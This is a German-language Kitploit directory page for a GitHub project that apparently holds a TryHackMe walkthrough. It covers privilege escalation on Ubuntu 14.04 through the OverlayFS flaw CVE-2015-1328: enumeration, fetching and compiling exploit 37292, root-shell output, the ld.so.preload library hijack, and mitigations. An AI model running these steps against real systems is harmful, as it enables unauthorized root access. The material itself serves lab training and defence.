Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2015-1328 — Schritt-für-Schritt-Anleitung zur Ausnutzung von CVE-2015-1328 (OverlayFS), um Privilegien von einem Benutzer mit niedrigen Rechten auf Root unter Ubuntu 14.04 zu erweitern. Enthält Enumeration, Kompilierung des Exploits und Ausführung. | Kitploit
Tools/GitHubGitHub/fernandocassiodev/cve-2015-1328
Privilege EscalationExploitationCTFLernen & BildungBinary-ExploitationLabs & Praxis
GitHubfernandocassiodev/cve-2015-1328

CVE-2015-1328

Schritt-für-Schritt-Anleitung zur Ausnutzung von CVE-2015-1328 (OverlayFS), um Privilegien von einem Benutzer mit niedrigen Rechten auf Root unter Ubuntu 14.04 zu erweitern. Enthält Enumeration, Kompilierung des Exploits und Ausführung.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
2vor 1 MonatNoch nicht geprüft

CVE-2015-1328

TryHackMe Walkthrough – Linux-Kernel-Privilege-Escalation (CVE-2015-1328)

Zielsetzung

Das Ziel dieses Walkthroughs war es, die Privilegien von einem Benutzer mit geringen Rechten (karen) auf root auszuweiten, indem ein verwundbarer Linux-Kernel ausgenutzt wurde.


Schritt 1 – Erste Enumeration

Nachdem ich mich per SSH mit dem Zielsystem verbunden hatte:

root@kitploit:~
ssh karen@<target-ip>

Ermittelte ich die Linux-Kernel-Version:

root@kitploit:~
uname -r

Ausgabe:

root@kitploit:~
3.13.0-24-generic

Das System lief mit Ubuntu 14.04 und dem Kernel 3.13.0-24-generic.


Schritt 2 – Suche nach Kernel-Schwachstellen

Da Linux-Privilege-Escalation oft auf verwundbaren Kerneln basiert, durchsuchte ich Exploit-DB mit SearchSploit:

root@kitploit:~
searchsploit overlayfs ubuntu 3.13

Ergebnis:

root@kitploit:~
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c

Dieser Exploit zielt auf CVE-2015-1328, das Ubuntu-Kernel vor den gepatchten Versionen betrifft.


Schritt 3 – Die Schwachstelle verstehen

Bevor ein Exploit ausgeführt wird, ist es wichtig zu verstehen, was er tut.

Der Exploit nutzt einen Fehler in OverlayFS, dem Linux-Union-Dateisystem, aus.

Die Schwachstelle besteht, weil OverlayFS Dateiberechtigungen falsch behandelt, wenn es innerhalb eines User-Namespace (CLONE_NEWUSER) eingehängt wird.

Ein Benutzer ohne Privilegien kann OverlayFS manipulieren, um Dateien zu erstellen oder zu verändern, die eigentlich nur von root beschreibbar sein sollten.

Der Exploit schreibt letztlich in:

root@kitploit:~
/etc/ld.so.preload

Diese Datei weist den Linux-Dynamic-Loader an, vor jedem dynamisch gelinkten Programm eine Shared Library zu laden.

Indem das System gezwungen wird, eine schädliche Shared Library zu laden, erlangt der Exploit Codeausführung als root.


Schritt 4 – Den Exploit besorgen

Mit SearchSploit:

root@kitploit:~
searchsploit -m 37292

Dadurch wurde der Exploit lokal kopiert:

root@kitploit:~
37292.c

Der Exploit wurde anschließend auf das Zielsystem übertragen.

In diesem Walkthrough wurde er gespeichert als:

root@kitploit:~
/tmp/ofs.c

Schritt 5 – Den Exploit kompilieren

Wechsle in das Verzeichnis, das den Exploit enthält:

root@kitploit:~
cd /tmp

Kompiliere ihn mit GCC:

root@kitploit:~
gcc ofs.c -o ofs

Wenn die Kompilierung erfolgreich ist, erzeugt GCC keine Ausgabe.

Überprüfe, ob die ausführbare Datei existiert:

root@kitploit:~
ls -l

Erwartete Ausgabe:

root@kitploit:~
-rwxr-xr-x ... ofs

Schritt 6 – Den Exploit ausführen

Führe die ausführbare Datei aus:

root@kitploit:~
./ofs

Der Exploit gibt Meldungen ähnlich der folgenden aus:

root@kitploit:~
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library

Schließlich startet er eine Root-Shell:

root@kitploit:~
#

Überprüfe die Privilegien:

root@kitploit:~
id

Ausgabe:

root@kitploit:~
uid=0(root) gid=0(root)

Schritt 7 – Die Flag abrufen

Mit erlangten Root-Rechten:

root@kitploit:~
cat /home/matt/flag1.txt

Die Datei konnte nun erfolgreich gelesen werden.


Wie der Exploit funktioniert

Der Exploit führt intern mehrere Aktionen aus.

1. Erstellt einen User-Namespace

root@kitploit:~
unshare(CLONE_NEWUSER);

Linux-User-Namespaces erlauben es einem Prozess ohne Privilegien, innerhalb des Namespace als root zu erscheinen, ohne auf dem Host root zu sein.

Diese Fähigkeit ist für den Angriff unerlässlich.


2. Erstellt einen Mount-Namespace

root@kitploit:~
clone(... CLONE_NEWNS ...)

Ein separater Mount-Namespace isoliert Dateisystemänderungen vom Rest des Betriebssystems.

Dadurch kann der Exploit OverlayFS einhängen, ohne das globale Dateisystem zu beeinflussen.


3. Hängt OverlayFS ein

Der Exploit erstellt temporäre Verzeichnisse:

root@kitploit:~
/tmp/ns_sploit/
├── upper/
├── work/
└── o/

Danach hängt er OverlayFS ein:

root@kitploit:~
Lower Layer
      │
      ▼
OverlayFS
      │
      ▼
Upper Layer

Aufgrund der Kernel-Schwachstelle erlaubt OverlayFS fälschlicherweise Operationen, die root-Rechte erfordern sollten.


4. Erstellt /etc/ld.so.preload

Der Exploit benennt eine beschreibbare Datei innerhalb des OverlayFS-Mounts um in:

root@kitploit:~
ld.so.preload

Nach dem erneuten Einhängen von OverlayFS über /etc wird diese Datei zu:

root@kitploit:~
/etc/ld.so.preload

Normalerweise sollte nur root in der Lage sein, diese Datei zu erstellen.


5. Erstellt eine schädliche Shared Library

Der Exploit schreibt eine C-Quelldatei:

root@kitploit:~
/tmp/ofs-lib.c

Dann kompiliert er sie:

root@kitploit:~
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c

Die resultierende Shared Library überschreibt die Funktion getuid().


6. Übernimmt den Dynamic-Linker

Der Exploit schreibt:

root@kitploit:~
/tmp/ofs-lib.so

in:

root@kitploit:~
/etc/ld.so.preload

Jedes dynamisch gelinkte Programm lädt nun diese schädliche Bibliothek, bevor eine Systembibliothek geladen wird.


7. Führt /bin/su aus

Schließlich:

root@kitploit:~
execl("/bin/su", "su", NULL);

Wenn su startet, wird die schädliche Funktion getuid() anstelle der ursprünglichen ausgeführt.

Die Bibliothek:

  • entfernt /etc/ld.so.preload
  • löscht die schädliche Shared Library
  • ruft auf:
root@kitploit:~
setresuid(0,0,0);
setresgid(0,0,0);
  • startet:
root@kitploit:~
/bin/sh

Das Ergebnis ist eine interaktive Root-Shell.


Warum das funktioniert

Die Schwachstelle wird durch eine falsche Berechtigungsbehandlung in OverlayFS verursacht, wenn es innerhalb von User-Namespaces verwendet wird.

Ein Benutzer ohne Privilegien kann OverlayFS manipulieren, um privilegierte Dateien wie:

root@kitploit:~
/etc/ld.so.preload

zu erstellen.

Da der Dynamic-Loader dieser Datei vertraut, wird beliebiger Code als root ausgeführt.


Gegenmaßnahmen

Diese Schwachstelle wurde von Ubuntu in aktualisierten Kernel-Versionen gepatcht.

Zu den Gegenmaßnahmen gehören:

  • Aktualisierung des Linux-Kernels auf eine gepatchte Version.
  • Deaktivieren von User-Namespaces ohne Privilegien, wenn diese nicht benötigt werden.
  • Einschränken der Verwendung von OverlayFS.
  • Regelmäßiges Einspielen von Sicherheitsupdates.
  • Überwachung auf unbefugte Änderungen an:
    • /etc/ld.so.preload
    • /etc/ld.so.cache

Wichtige Erkenntnisse

  • Bei Linux-Privilege-Escalation immer zuerst die Kernel-Version enumerieren.
  • Vor dem Ausnutzen prüfen, ob die Kernel-Version verwundbar ist.
  • Exploit-Code vor der Ausführung lesen und verstehen.
  • Kernel-Exploits können direkt zu Root-Rechten führen, aber auch das Zielsystem zum Absturz bringen.
  • In realen Penetrationstests sollte Kernel-Exploitation nur mit ausdrücklicher Genehmigung versucht werden, wegen der möglichen Auswirkungen auf die Systemstabilität.

Verwendete Befehle

root@kitploit:~
# Enumerate kernel version
uname -r

# Search for exploit
searchsploit overlayfs ubuntu 3.13

# Copy exploit locally
searchsploit -m 37292

# Compile exploit
gcc ofs.c -o ofs

# Execute exploit
./ofs

# Verify privileges
id

# Read flag
cat /home/matt/flag1.txt
Tool herunterladen